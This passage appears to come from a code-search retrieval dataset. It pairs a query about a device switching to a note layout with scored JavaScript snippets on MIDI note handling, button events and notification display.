{\n fn(null, data);\n }\n\n function withoutPipe() {\n fn(null);\n }\n}", "title": "" }, { "docid": "ac43cbd25355678b107dd078d71a5421", "score": "0.44718155", "text": "function helpers_command(){\n return `\\nAvailable command\n \\tlab_path_bot set_channel_ouptut <channel_name>\n `;\n}", "title": "" }, { "docid": "0f4daeb1d86739d52836b4363ba0701a", "score": "0.44709897", "text": "function speak(line) {\n console.log(`The ${this.type} rabbit says ${line}`);\n}", "title": "" }, { "docid": "314688e2d4defeff9e61b06933506f86", "score": "0.44696885", "text": "function pintar() {\n console.log('\\033[2J');\n console.log(c);\n }", "title": "" }, { "docid": "59dc46016b311518e679bb97a961292f", "score": "0.44681692", "text": "function PipeType(){}", "title": "" }, { "docid": "59dc46016b311518e679bb97a961292f", "score": "0.44681692", "text": "function PipeType(){}", "title": "" }, { "docid": "59dc46016b311518e679bb97a961292f", "score": "0.44681692", "text": "function PipeType(){}", "title": "" }, { "docid": "59dc46016b311518e679bb97a961292f", "score": "0.44681692", "text": "function PipeType(){}", "title": "" }, { "docid": "2ac7f848b89959f3ebc50f928a1ba7a7", "score": "0.44607642", "text": "function gotSmarter(){\n console.log('I just got smarter!!!');\n stream.write('I just got smarter!!!\\n' );\n}", "title": "" }, { "docid": "4199f870dec47ba614aa83b8ea9ee265", "score": "0.44605428", "text": "function hp() {\n return (ctx.lineWidth / 2) % 1;\n}", "title": "" }, { "docid": "77bea38a5cde078159e7aa3a35b09cda", "score": "0.44578835", "text": "function printMsg(msg) {\n console.log('diffc: '.blue + msg);\n}", "title": "" }, { "docid": "4d40e065acfca81a66767a522597e6db", "score": "0.44546682", "text": "function logRepo() {\r\n\tconsole.log(\"%cOh hi there. Repository link is below, if you want it.\", \"font-size: 20px\");\r\n\tconsole.log(\"%chttps://github.com/Thatguyjs/Frankenstein-Creative-Project\", \"font-size: 15px\");\r\n}", "title": "" } ]
6015149ace337fb4829023bb4c485f9a
Invoked when a Note button was received specifying that the device has entered the note layout.
[ { "docid": "63613f0bd1c5e29e39838442539fbff6", "score": "0.652869", "text": "didSwitchToNoteLayout() {\n this.controllerState.viewMode = ViewMode.note;\n this.didSwitchLayout();\n }", "title": "" } ]
[ { "docid": "978859d32ba55c730663f220cf03c580", "score": "0.68048155", "text": "function handleNoteButtonEvent(thisObj) {\n _changed = true;\n if ($(thisObj.getHtmlIds().noteContainer).visible()) {\n if (thisObj.getStandardValue() == thisObj.getMeta().seeNoteCui) {\n thisObj.clearNote();\n }\n else {\n thisObj.hideNote();\n }\n }\n else {\n thisObj.showNote();\n }\n }", "title": "" }, { "docid": "fdd333fc2b62e3023035241c65b6ec66", "score": "0.59461623", "text": "handleSendNote() {\n alert('hi');\n }", "title": "" }, { "docid": "1fe420b5af8a9e07ea2992a2b3014700", "score": "0.56737244", "text": "function updatePreviewWithNote(sender, paeNote) {\r\n // console.log(\"key pressed is \" + paeNote)\r\n plaineEasieCodes.push(paeNote)\r\n updateNotesSVG()\r\n}", "title": "" }, { "docid": "d1aede95f31b520a81ef616c251c7541", "score": "0.5599623", "text": "function onButtonClick() {\n\t\t\t_scope.dispatchEvent( ContentMediator.ON_SHOW_NOTIFICATION_WINDOW );\n\t\t}", "title": "" }, { "docid": "f334a3559c9033574c3f1c90345e0e67", "score": "0.54883564", "text": "function showNote(note, button) {\n shownNote = note;\n shownNoteButton = button;\n $(\"#noteTime\", slide.contentDocument).text(new Date(note.time).toLocaleString());\n $(\"#noteBody\", slide.contentDocument)[0].value = note.body;\n $(\"#noteBody\", slide.contentDocument)[0].focus();\n }", "title": "" }, { "docid": "1ee0b09fad5e3deb7093a4aec7fa0381", "score": "0.5480983", "text": "function notifyMe() {\n\t\ttag.notifyAccelerometer(listenForAccel);\n\t\ttag.notifySimpleKey(listenForButton);\n\t}", "title": "" }, { "docid": "2f985c45c485dcc0deda1da02257c97b", "score": "0.54232854", "text": "function setNoteOnEvent(stepNumber, instrumentIndex, noteNumber, velocity) {\n\tvar action = new Object();\n\taction.type = 'noteOn';\n\taction.instrumentIndex = instrumentIndex;\n\taction.noteNumber = noteNumber;\n\taction.value = clipInt0to127(velocity);\t\t\t// Safety step in case input validation is somehow missed.\n\tstep[stepNumber].actionList.push(action);\n\t// update sequencer grid to reflect the change\n\tdocument.getElementById(constructGridId(stepNumber, instrumentIndex, noteNumber)).style.backgroundColor = convertVelocityToBackgroundColor(action.value);\n}", "title": "" }, { "docid": "79aad4c9946e86f856b9a599b1e341b0", "score": "0.53885555", "text": "function listenForButton() {\n\t\ttag.on('simpleKeyChange', function(left, right) {\n\t\t\t// if both buttons are pressed, disconnect:\n\t\t\tif (left && right) {\n\t\t\t\tconsole.log('both');\n\t\t\t\ttag.disconnect();\n\t\t\t} else\t\t\t\t// if left, send the left key\n\t\t\tif (left) {\n\t\t\t\tconsole.log('left: ' + left);\n\t\t\t\trunFile('applescript/left.scpt');\n\t\t\t} else\n\t\t\tif (right) {\t\t// if right, send the right key\n\t\t\t\tconsole.log('right: ' + right);\n\t\t\t\trunFile('applescript/right.scpt');\n\t\t\t}\n\t });\n\t}", "title": "" }, { "docid": "2025ecb483d3a0300333e64c4e8e1fad", "score": "0.53734833", "text": "function addButtonClick(){\n\t\tvar note = Note();\n\t\tstorage.push(note);\n\t\tdisplayNotes();\n\n\t}", "title": "" }, { "docid": "99296ad0b48609e27d5fcd908d5c423e", "score": "0.5337718", "text": "function listenForButton() {\n\t\ttag.on('simpleKeyChange', function(left, right) {\n\t\t\tif (left) console.log('left: ' + left);\n\t\t\tif (right) console.log('right: ' + right);\n\t\t\t// if both buttons are pressed, disconnect:\n\t\t\tif (left && right) tag.disconnect();\n });\n }", "title": "" }, { "docid": "f36a26aeb8560a784a47b74ca00d0d41", "score": "0.5306356", "text": "noteOn(velocity=60) {\n this.keyRect.fill(this.displayOptions.clickColor);\n grid.highlightPitch(this.pitch, true, this.displayOptions);\n audio.noteOn(this.pitch, velocity)\n }", "title": "" }, { "docid": "2d32bbfbbf48b3bcf9f2d7eb8077c3a8", "score": "0.530544", "text": "onClick(e) {\r\n this.insertNewNote(this);\r\n }", "title": "" }, { "docid": "e0bd1591fd4f17830c807585d99f0438", "score": "0.5294016", "text": "function recordIOStroke(note, buttonName){\n\tif(note == \"1\"){\t\t\t\t// The note is hit\n document.getElementById(buttonName).style.visibility = \"visible\";\n const stroke = new Stroke(buttonName);\n addStroke(strokeRecording, stroke);\n } else if(note == \"0\"){\t\t\t// The note isn't hit\n document.getElementById(buttonName).style.visibility = 'hidden';\n } else {\n\t\tconsole.log(\"unexpected IO input: \" + note);\n\t}\n}", "title": "" }, { "docid": "e0cbc816b76ad1f8e4142e5d2afda089", "score": "0.5290288", "text": "function setNotifyBtn() {\r\n notifyBtn.addEventListener(\"click\", (e) => {\r\n handleNotify(e, false);\r\n });\r\n}", "title": "" }, { "docid": "deb9d508e0a4e816991c159b98b4786a", "score": "0.5256649", "text": "function ansClicked (eventData) {\n\tlet buttonInformation = eventData;\n\tlet ansClicked = buttonInformation.target.textContent;\n\tinsertDisplay(ansClicked);\n\t\n}", "title": "" }, { "docid": "57df50af986bb3448c289735f3cda577", "score": "0.52347803", "text": "function refreshNoteClickEvents() {\n $(\".individualNote\").click(function() {\n var action=\"getNote\";\n var type=\"GET\";\n var title = $(this).text();\n var url = \"resources/activenotes/\"+title;\n sendRequest(type, url, action);\n shadow.show();\n }); \n //at the moment, both send and close do same thing\n $(\"#closeButton\").click(function() {\n note.hide();\n shadow.hide();\n }); \n }", "title": "" }, { "docid": "06e53bf46abc60de1f042e526b84b989", "score": "0.52277905", "text": "function listenForButton() {\n\t\ttag.on('simpleKeyChange', function(left, right) {\n\t\t\t// if both buttons are pressed, disconnect:\n\t\t\tif (left && right) {\n\t\t\t\tconsole.log('both');\n\t\t\t\ttag.disconnect();\n\t\t\t} else\t\t\t\t// if left, send the left key\n\t\t\tif (left) {\n\t\t\t\tconsole.log('left: ' + left);\n\t\t\t\trunFile('left.scpt');\n\t\t\t} else\n\t\t\tif (right) {\t\t// if right, send the right key\n\t\t\t\tconsole.log('right: ' + right);\n\t\t\t\trunFile('right.scpt');\n\t\t\t}\n\t });\n\t}", "title": "" }, { "docid": "245fdaf07371042f99aa4e33c0e58536", "score": "0.52275294", "text": "function note_down(elem, is_sharp) {\n var note = elem.dataset.note;\n elem.style.background = is_sharp ? \"black\" : \"#ddd\";\n synth.triggerAttack(note, \"16n\");\n //Prevents overlapping buttons from both pressing. ie: if your press C#, C or D won't also play.\n event.stopPropagation();\n}", "title": "" }, { "docid": "2e99a2b08fe22c646c934fe734621168", "score": "0.5202594", "text": "function bindToNote(item,index){\ndocument.getElementById(item).addEventListener('click', () => {\n playNote(item+oct, my_synth);\n document.getElementById(\"info_n\").innerHTML=\"Note: \"+item;\n });\n}", "title": "" }, { "docid": "7e50d58960313128e0e138525e02080d", "score": "0.51863", "text": "handler () {\n notes.addNote(title, body);\n }", "title": "" }, { "docid": "726b9babae9dfb393c4cef221c1615f4", "score": "0.5168557", "text": "pressed()\n {\n emitter.emit(this.config.event);\n }", "title": "" }, { "docid": "a49b5ee2a1851fa6e0febd763bd4e52f", "score": "0.51540375", "text": "addListeners(device) {\n /**\n * adjust the event octave for A & B keys\n * @param {{note: {name: string, octave: number}}} event the MIDI event\n */\n const fixOctave = (event) => {\n let clone = { ...event };\n clone.note.octave = /(A|B)/.test(clone.note.name)\n ? clone.note.octave + 1\n : clone.note.octave;\n return clone;\n };\n\n // when note is pressed\n device.addListener('noteon', 'all', (event) => {\n const e = fixOctave(event);\n if (typeof midiNoteOn === 'function') {\n midiNoteOn(e);\n }\n\n // index the note\n this.notesPressed.push(e.note.name + e.note.octave);\n });\n\n // when note is released\n device.addListener('noteoff', 'all', (event) => {\n const e = fixOctave(event);\n if (typeof midiNoteOff === 'function') {\n midiNoteOff(e);\n }\n\n // un-index the note\n this.notesPressed = this.notesPressed.filter((note) => note !== e.note.name + e.note.octave);\n });\n }", "title": "" }, { "docid": "ac7b069eef51217bca4fd2a8e7ce9976", "score": "0.5097315", "text": "connectedCallback() {\n // Trigger show event\n this.dispatchCustomEvent('tk.alert.show');\n this.setAttribute('role', 'alert');\n this.classList.add('tk-alert--show');\n\n // If no type has been defined, the default as \"info\"\n if (!this.type) {\n this.setAttribute('type', 'info');\n }\n\n // Append button\n if (this.hasAttribute('dismiss') || this.hasAttribute('acknowledge') || (this.hasAttribute('href') && this.getAttribute('href') !== '')) {\n if (!this.querySelector('button.tk-alert--close') && !this.querySelector('button.tk-alert-button--close')) {\n this.appendCloseButton.bind(this)();\n }\n }\n\n // Trigger shown event\n this.dispatchCustomEvent('tk.alert.show');\n\n if (this.closeButton) {\n this.closeButton.focus();\n }\n }", "title": "" }, { "docid": "79a7fcca4609da9693560f2749334978", "score": "0.509059", "text": "function onConfigButtonPress(){\n\talert(\"Coming soon...\");\n}", "title": "" }, { "docid": "6cf016d5ded71de022d67cb377a56d84", "score": "0.50731283", "text": "function showNote(event) {\n const note = findNote(event);\n if (!note) {\n return;\n }\n\n if (fretboardDiv.lastChild !== image) {\n if (fretboardDiv.lastChild.innerHTML === note.note) {\n return;\n }\n\n removeChildren();\n }\n\n fretboardDiv.appendChild(createButton(note));\n}", "title": "" }, { "docid": "71899dc8e5f8c66d9eb85bae159260c5", "score": "0.5045063", "text": "function buttonClicked(){\n if (isShowingOverlays) {\n removeOverlays();\n isShowingOverlays = false;\n } else {\n isShowingOverlays = true;\n }\n\n button.writeProperty('buttonState', isShowingOverlays ? 0 : 1);\n button.writeProperty('defaultState', isShowingOverlays ? 0 : 1);\n button.writeProperty('hoverState', isShowingOverlays ? 2 : 3);\n}", "title": "" }, { "docid": "52d12762a2b3a8e5959e92be33988c93", "score": "0.5041708", "text": "function _buttonListener(event) {\n codeMirror.focus();\n var msgObj;\n try {\n msgObj = JSON.parse(event.data);\n } catch (e) {\n return;\n }\n\n if(msgObj.commandCategory === \"menuCommand\"){\n CommandManager.execute(Commands[msgObj.command]);\n }\n else if (msgObj.commandCategory === \"viewCommand\") {\n ViewCommand[msgObj.command](msgObj.params);\n }\n }", "title": "" }, { "docid": "3d8d6963d5a19fa6d88d8e0eb24069ba", "score": "0.5032657", "text": "function whenButtonPressed(){\n\tconsole.log(\"you pushed button!\");\n}", "title": "" }, { "docid": "b75bfdfd856412dbb58b85963f788918", "score": "0.50308424", "text": "function note_up(elem, is_sharp) {\n var note = elem.dataset.note;\n elem.style.background = is_sharp ? \"#333\" : \"white\";\n synth.triggerRelease(note, \"16n\");\n}", "title": "" }, { "docid": "143dec05b6673eedaa14ca90e14afe03", "score": "0.5025147", "text": "_onPressMark () {\n this.props.onGetState(!this.props.showState)\n }", "title": "" }, { "docid": "6c8a51f5cb7009810629d6a86ec03bab", "score": "0.5010706", "text": "function buttonClick() {\n timestamp = duration[duration.length-1];\n console.log(timestamp + \"docReady: \" + docReady);\n if (docReady && timestamp !== undefined) {\n firepad.makeHeaderDialog_(timestamp);\n\n //Create buttons that take you to different parts of the video\n var button = document.createElement(\"input\");\n button.type = \"button\";\n button.value = timestamp.toFixed(2)+\"s\";\n button.onclick = function() {\n playerInstance.seek(timestamp);\n };\n document.querySelector(\"#annotatedNotes\").appendChild(button);\n }\n}", "title": "" }, { "docid": "a268225fc46d0cbf20d87e81f1844ea3", "score": "0.5004685", "text": "function updateothernote()\n{\n var logopener=\"----entering updateothernote----\";\n console.log(logopener);\n\n //lets get the id. \n console.log(\"UniqueGuid is \" + event.target.id);\n\n //we have the id. now, we need to do a post call to update it. \n var tempbutton = event.target;\n\n apiworkothernoteupdate(tempbutton);\n \n var logcloser=\"----leaving updateothernote----\";\n console.log(logcloser);\n}", "title": "" }, { "docid": "83fe101f67f1940dc8a097a24f681b03", "score": "0.49823582", "text": "function handlesStart () {\n $('#button').on('click', function(event) {\n updateViewToQuestionPage(appState,'question');\n });\n}", "title": "" }, { "docid": "97389eee5f2eb9db2b1d7ce8a2912c43", "score": "0.49791786", "text": "function handleNoteOn(key_number) {\n\tvar pitch = parseInt($(\"#lowestPitch\").val()) + key_number;\nif (pressed[pitch-21]) return;\n // Find the pitch\n const push = (amplitude, pitch, timeStamp, duration, type) => {\n recorded.push({'vol': amplitude, 'pitch': pitch, 'start': timeStamp, 'duration': duration, 'type': type})\n };\n \n var amplitude = parseInt($(\"#amplitude\").val());\n var timeStamp = performance.now()\n MIDI.noteOn(0, pitch, amplitude);\n pressed[pitch-21] = true;\n if (recording) push(amplitude, pitch, timeStamp, 0, document.getElementById(\"play-mode-major\").checked ? 1 : (document.getElementById(\"play-mode-minor\").checked ? 2 : 0));\n /*\n * You need to handle the chord mode here\n */\n if (document.getElementById(\"play-mode-major\").checked) {\n if (pitch+4 <= 108) {\n MIDI.noteOn(0, pitch + 4, amplitude);\n pressed[pitch+4-21] = true;\n if (recording) push(amplitude, pitch + 4, timeStamp, 0, 1);\n }\n if (pitch+7 <= 108) {\n MIDI.noteOn(0, pitch + 7, amplitude);\n pressed[pitch+7-21] = true;\n if (recording) push(amplitude, pitch + 7, timeStamp, 0, 1);\n }\n } else if (document.getElementById(\"play-mode-minor\").checked) {\n if (pitch+3 <= 108) {\n MIDI.noteOn(0, pitch + 3, amplitude);\n pressed[pitch + 3-21] = true;\n if (recording) push(amplitude, pitch + 3, timeStamp, 0, 2);\n }\n if (pitch+7 <= 108) {\n MIDI.noteOn(0, pitch + 7, amplitude);\n pressed[pitch+7-21] = true;\n if (recording) push(amplitude, pitch + 7, timeStamp, 0, 2);\n }\n }\n}", "title": "" }, { "docid": "f95b7a8db5d574716d5b7e8f8a5ad410", "score": "0.4943363", "text": "function post( event ) {\n\n\t\tlet slideElement = deck.getCurrentSlide(),\n\t\t\tnotesElements = slideElement.querySelectorAll( 'aside.notes' ),\n\t\t\tfragmentElement = slideElement.querySelector( '.current-fragment' );\n\n\t\tlet messageData = {\n\t\t\tnamespace: 'reveal-notes',\n\t\t\ttype: 'state',\n\t\t\tnotes: '',\n\t\t\tmarkdown: false,\n\t\t\twhitespace: 'normal',\n\t\t\tstate: deck.getState()\n\t\t};\n\n\t\t// Look for notes defined in a slide attribute\n\t\tif( slideElement.hasAttribute( 'data-notes' ) ) {\n\t\t\tmessageData.notes = slideElement.getAttribute( 'data-notes' );\n\t\t\tmessageData.whitespace = 'pre-wrap';\n\t\t}\n\n\t\t// Look for notes defined in a fragment\n\t\tif( fragmentElement ) {\n\t\t\tlet fragmentNotes = fragmentElement.querySelector( 'aside.notes' );\n\t\t\tif( fragmentNotes ) {\n\t\t\t\tmessageData.notes = fragmentNotes.innerHTML;\n\t\t\t\tmessageData.markdown = typeof fragmentNotes.getAttribute( 'data-markdown' ) === 'string';\n\n\t\t\t\t// Ignore other slide notes\n\t\t\t\tnotesElements = null;\n\t\t\t}\n\t\t\telse if( fragmentElement.hasAttribute( 'data-notes' ) ) {\n\t\t\t\tmessageData.notes = fragmentElement.getAttribute( 'data-notes' );\n\t\t\t\tmessageData.whitespace = 'pre-wrap';\n\n\t\t\t\t// In case there are slide notes\n\t\t\t\tnotesElements = null;\n\t\t\t}\n\t\t}\n\n\t\t// Look for notes defined in an aside element\n\t\tif( notesElements ) {\n\t\t\tmessageData.notes = Array.from(notesElements).map( notesElement => notesElement.innerHTML ).join( '\\n' );\n\t\t\tmessageData.markdown = notesElements[0] && typeof notesElements[0].getAttribute( 'data-markdown' ) === 'string';\n\t\t}\n\n\t\tspeakerWindow.postMessage( JSON.stringify( messageData ), '*' );\n\n\t}", "title": "" }, { "docid": "8f1f10ee9e9e887b1ce739c52cb18ff8", "score": "0.49424165", "text": "function handleClick() {\n // (21) tap into props.onDelete to trigger the function DeleteNote(id)\n // (28) pass in the props.id (index) to know which one to delete in onDelete\n props.onDelete(props.id);\n }", "title": "" }, { "docid": "fe4a851da30fa0d5cb43895e97d6dc12", "score": "0.49318093", "text": "function setupReciverElement() {\n if (debug.flaged) {\n receiverElement.classList.add(\"debug\");\n }\n receiverElement.onmousedown = function(e) {\n e.stopPropagation();\n };\n minder.on(\"layoutallfinish viewchange viewchanged selectionchange\", function(e) {\n // viewchange event is too frequenced, lazy it\n if (e.type == \"viewchange\" && fsm.state() != \"input\") return;\n updatePosition();\n });\n updatePosition();\n }", "title": "" }, { "docid": "0469406f5050c6d5261346d4b2fc1956", "score": "0.49306977", "text": "function handleClick(key) {\n playNote(key);\n \n // User playing notes\n // If user played the correct note/key...\n if (key === lastNote) {\n\n // There are more notes to play\n if (notes.length !== 0) {\n // So wait 1 second and plays it\n setTimeout(() => {\n playNotes();\n }, 1000);\n }\n // There are no more notes, show success message to the user\n else {\n alert(\"Song complete. Well done!\");\n }\n } \n}", "title": "" }, { "docid": "4ca5aa8268ecb190c4556f31c7695df1", "score": "0.49029002", "text": "function navigateToNotes() {\n return util.tapElementByCss(\"main.DefinitionViewController nav button.note-icon\")\n .then(() => util.elementByCssDisplayed(\"main.NotesViewController.displayed\"));\n}", "title": "" }, { "docid": "5b72259c5149e13a5948f8b5de854c97", "score": "0.4901937", "text": "connectedCallback() {\n super.connectedCallback();\n afterNextRender(this, function() {\n this.addEventListener(\"mousedown\", this.tapEventOn);\n this.addEventListener(\"mouseover\", this.tapEventOn);\n this.addEventListener(\"mouseout\", this.tapEventOff);\n this.$.button.addEventListener(\"focused-changed\", this.focusToggle);\n });\n }", "title": "" }, { "docid": "ab61d571956c7b90cbdeb16b7d465a2b", "score": "0.48991692", "text": "function handleButtonStateChanged (event) {\n // read variables from the event\n let ev = JSON.parse(event.data);\n let evData = ev.data; // the data from the argon event: \"pressed\" or \"released\"\n let evDeviceId = ev.coreid; // the device id\n let evTimestamp = Date.parse(ev.published_at); // the timestamp of the event\n\n // helper variables that we need to build the message to be sent to the clients\n let sync = false;\n let msg = \"\";\n\n if (evData === \"pressed\") {\n buttonPressCounter++; // increase the buttonPressCounter by 1\n msg = \"pressed\";\n\n // check if the last two button press events were whithin 1 second\n if (evTimestamp - lastButtonPressEvent.timestamp < 1000) {\n if (evDeviceId !== lastButtonPressEvent.deviceId) {\n sync = true;\n }\n }\n\n lastButtonPressEvent.timestamp = evTimestamp;\n lastButtonPressEvent.deviceId = evDeviceId;\n } \n else if (evData === \"released\") {\n msg = \"released\";\n }\n else {\n msg = \"unknown state\";\n }\n\n // the data we want to send to the clients\n let data = {\n message: msg,\n counter: buttonPressCounter,\n pressedSync: sync\n }\n\n // send data to all connected clients\n sendData(\"buttonStateChanged\", data, evDeviceId, evTimestamp );\n}", "title": "" }, { "docid": "1e7093941743d7c6a6f9eed3a9210e19", "score": "0.48988533", "text": "notify (note) {\n // Handle type-specific updates.\n this.log('notes', 'notify', note)\n switch (note.type) {\n case 'order': {\n const order = note.order\n const mkt = this.user.exchanges[order.host].markets[order.market]\n if (mkt.orders) {\n for (const i in mkt.orders) {\n if (mkt.orders[i].id === order.id) {\n mkt.orders[i] = order\n break\n }\n }\n }\n break\n }\n case 'balance': {\n const wallet = this.user.assets[note.assetID].wallet\n if (wallet) wallet.balance = note.balance\n break\n }\n case 'feepayment':\n this.handleFeePaymentNote(note)\n break\n case 'walletstate': {\n const wallet = note.wallet\n this.assets[wallet.assetID].wallet = wallet\n this.walletMap[wallet.assetID] = wallet\n const balances = this.main.querySelectorAll(`[data-balance-target=\"${wallet.assetID}\"]`)\n balances.forEach(el => { el.textContent = (wallet.balance.available / 1e8).toFixed(8) })\n }\n }\n\n // Inform the page.\n if (this.loadedPage) this.loadedPage.notify(note)\n // Discard data notifications.\n if (note.severity < ntfn.POKE) return\n // Poke notifications have their own display.\n if (note.severity === ntfn.POKE) {\n this.pokeNote.firstChild.textContent = `${note.subject}: ${note.details}`\n this.pokeNote.classList.add('active')\n if (this.pokeNote.timer) {\n clearTimeout(this.pokeNote.timer)\n }\n this.pokeNote.timer = setTimeout(() => {\n this.pokeNote.classList.remove('active')\n delete this.pokeNote.timer\n }, 5000)\n return\n }\n // Success and higher severity go to the bell dropdown.\n this.notes.push(note)\n this.setNoteElements()\n }", "title": "" }, { "docid": "b1dea05e186bb889fe23fdba3176d9fe", "score": "0.4889079", "text": "function setNotes(e) {\n\n\tvar cursor = e.target.result;\n\n\tif (cursor) {\n\n\t\tconsole.log(cursor.value);\n\t\tpopupPage.addNoteToView(cursor.value);\n\n\t\tcursor.continue();\n\n\t}\n\n}", "title": "" }, { "docid": "713dc860673498325001e4a3d30237bc", "score": "0.48887378", "text": "function handleMidiMessage(note) {\n\t// filter active sense messages\n\tif(note.data[0] == 254) {\n\t\treturn;\n\t}\n\tif( !( (0xF0 & note.data[0]) == 128 || (0xF0 & note.data[0]) == 144) ) {\n\t\treturn;\n\t}\n\n\tif (trace) {\n\t\tconsole.log(note.data);\n\t}\n\n\tconsole.log(convertCommand(note)); \n\tvar command = convertCommand(note); \n\t// notes[command.noteName + command.octave] = {number: note.data[1], playing: command.command};\n\tnotes[note.data[1]] = command.command;\n\tconsole.log(notes);\n\tdisplayNotes(printNotes().join(', '));\n\tvar chord = searchInversions(findChord(printNotes())); \n\tif(chord.chord) {\n\t\tdisplayChord(\n\t\t\tnumberToNote(printNotes()[chord.inversion]).note + \n\t\t\tchord.chord + ' ' +\n\t\t\tchord.inversion\n\t\t);\n\t}\n\telse {\n\t\tdisplayChord('');\n\t}\n\tif (\n\t\tnumberToNote(printNotes()[chord.inversion]).note+chord.chord == \n\t\tquiz.current\n\t) {\n\t\tquiz.next();\n\t}\n\t// var key = document.getElementById(numberToNote(note.data[1]).note);\n\tvar key = document.querySelector(\n\t\t'#octave' + numberToNote(note.data[1]).octave + ' #' +\n\t\tnumberToNote(note.data[1]).note\n\t);\n\tkey.classList.toggle('pressed');\n}", "title": "" }, { "docid": "f006e44d8e6bb10b2ec7d3e50fdf8644", "score": "0.48758176", "text": "function handleNoteChanged(changed) {\n \n // default changed value is 'true'\n changed = typeof changed !== 'undefined' ? changed : true;\n \n // save the initial values if the note is unchanged\n if (!changed) {\n\tvar $noteTitle = $(\"#note-title\");\n\t$noteTitle.data('initial-value', $noteTitle.val());\n\tvar $noteText = $(\"#note-area\");\n\t$noteText.data('initial-value', $noteText.val());\n }\n \n // update the state of the save button\n $(\"#save-button\").attr(\"disabled\", !changed);\n noteChanged = changed;\n}", "title": "" }, { "docid": "89f0b366c60e0a2b51a1d6f90df622da", "score": "0.48706084", "text": "handleButton() {}", "title": "" }, { "docid": "a75631fd0cc95ce0819adfb39e22b2fa", "score": "0.4855512", "text": "_setCommentButtonHandler() {\n this.commentButton.addEventListener('click', (ev) => {\n if (this._isCommentModalShown(this.linkedQuestion)) {\n this._hideCommentModal(this.linkedQuestion);\n } else {\n this._showCommentModal();\n }\n ev.preventDefault();\n ev.stopPropagation();\n });\n }", "title": "" }, { "docid": "5e9aa1c366ec10fa5e4bcf1680566531", "score": "0.48508102", "text": "function _event_contact_person_note(e){\n try{\n var note_win = Ti.UI.createWindow({\n title:'Edit Note',\n url:self.get_file_path('url', 'base/edit_textarea_field.js'),\n content:_client_contact_note,\n source:'edit_client_contact_note'\n });\n Titanium.UI.currentTab.open(note_win,{\n animated:(self.is_ios_7_plus() && !self.set_animated_for_ios7)?false:true\n }); \n }catch(err){\n self.process_simple_error_message(err,window_source+' - _event_contact_person_note');\n return;\n }\n }", "title": "" }, { "docid": "15a1fceb3ceeaaf8bea6744fc3632b25", "score": "0.48255518", "text": "function _event_for_start_btn(){\n try{\n if((Titanium.Platform.model == 'Simulator')||(!Ti.Media.canRecord)){\n self.show_message(L('message_audio_no_available_on_device'));\n return;\n } \n self.start_btn.visible = false;\n self.pause_btn.visible = true;\n self.done_btn.visible = true;\n Ti.Media.startMicrophoneMonitor();\n self.recording.start();\n self.label.text = 'Duration: '+_duration+' seconds ';\n _timer = setInterval(_recording_timer,1000);\n }catch(err){\n self.process_simple_error_message(err,window_source+' - _event_for_start_btn');\n return;\n } \n }", "title": "" }, { "docid": "5f0b7fae78c84ced88d1d1a635d34e29", "score": "0.48249882", "text": "_parseEventForStandardMessages(e) {\n const event = Object.assign({}, e);\n event.type = event.message.type || \"unknownmessage\";\n const data1 = e.message.dataBytes[0];\n const data2 = e.message.dataBytes[1];\n\n if (event.type === \"noteoff\" || event.type === \"noteon\" && data2 === 0) {\n this.notesState[data1] = false;\n event.type = \"noteoff\"; // necessary for note on with 0 velocity\n\n /**\n * Event emitted when a **note off** MIDI message has been received on the channel.\n *\n * @event InputChannel#noteoff\n *\n * @type {object}\n * @property {string} type `noteoff`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the incoming\n * MIDI message.\n * @property {number} timestamp The moment\n * ([`DOMHighResTimeStamp`](https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp))\n * when the event occurred (in milliseconds since the navigation start of the document).\n *\n * @property {object} note A [`Note`](Note) object containing information such as note name,\n * octave and release velocity.\n * @property {number} value The release velocity amount expressed as a float between 0 and 1.\n * @property {number} rawValue The release velocity amount expressed as an integer (between 0\n * and 127).\n */\n // The object created when a noteoff event arrives is a Note with an attack velocity of 0.\n\n event.note = new Note(Utilities.offsetNumber(data1, this.octaveOffset + this.input.octaveOffset + wm.octaveOffset), {\n rawAttack: 0,\n rawRelease: data2\n });\n event.value = Utilities.from7bitToFloat(data2);\n event.rawValue = data2; // Those are kept for backwards-compatibility but are gone from the documentation. They will\n // be removed in future versions (@deprecated).\n\n event.velocity = event.note.release;\n event.rawVelocity = event.note.rawRelease;\n } else if (event.type === \"noteon\") {\n this.notesState[data1] = true;\n /**\n * Event emitted when a **note on** MIDI message has been received.\n *\n * @event InputChannel#noteon\n *\n * @type {object}\n * @property {string} type `noteon`\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} note A [`Note`](Note) object containing information such as note name,\n * octave and release velocity.\n * @property {number} value The attack velocity amount expressed as a float between 0 and 1.\n * @property {number} rawValue The attack velocity amount expressed as an integer (between 0\n * and 127).\n */\n\n event.note = new Note(Utilities.offsetNumber(data1, this.octaveOffset + this.input.octaveOffset + wm.octaveOffset), {\n rawAttack: data2\n });\n event.value = Utilities.from7bitToFloat(data2);\n event.rawValue = data2; // Those are kept for backwards-compatibility but are gone from the documentation. They will\n // be removed in future versions (@deprecated).\n\n event.velocity = event.note.attack;\n event.rawVelocity = event.note.rawAttack;\n } else if (event.type === \"keyaftertouch\") {\n /**\n * Event emitted when a **key-specific aftertouch** MIDI message has been received.\n *\n * @event InputChannel#keyaftertouch\n *\n * @type {object}\n * @property {string} type `\"keyaftertouch\"`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} note A [`Note`](Note) object containing information such as note name\n * and number.\n * @property {number} value The aftertouch amount expressed as a float between 0 and 1.\n * @property {number} rawValue The aftertouch amount expressed as an integer (between 0 and\n * 127).\n */\n event.note = new Note(Utilities.offsetNumber(data1, this.octaveOffset + this.input.octaveOffset + wm.octaveOffset)); // Aftertouch value\n\n event.value = Utilities.from7bitToFloat(data2);\n event.rawValue = data2; // @deprecated\n\n event.identifier = event.note.identifier;\n event.key = event.note.number;\n event.rawKey = data1;\n } else if (event.type === \"controlchange\") {\n /**\n * Event emitted when a **control change** MIDI message has been received.\n *\n * @event InputChannel#controlchange\n *\n * @type {object}\n * @property {string} type 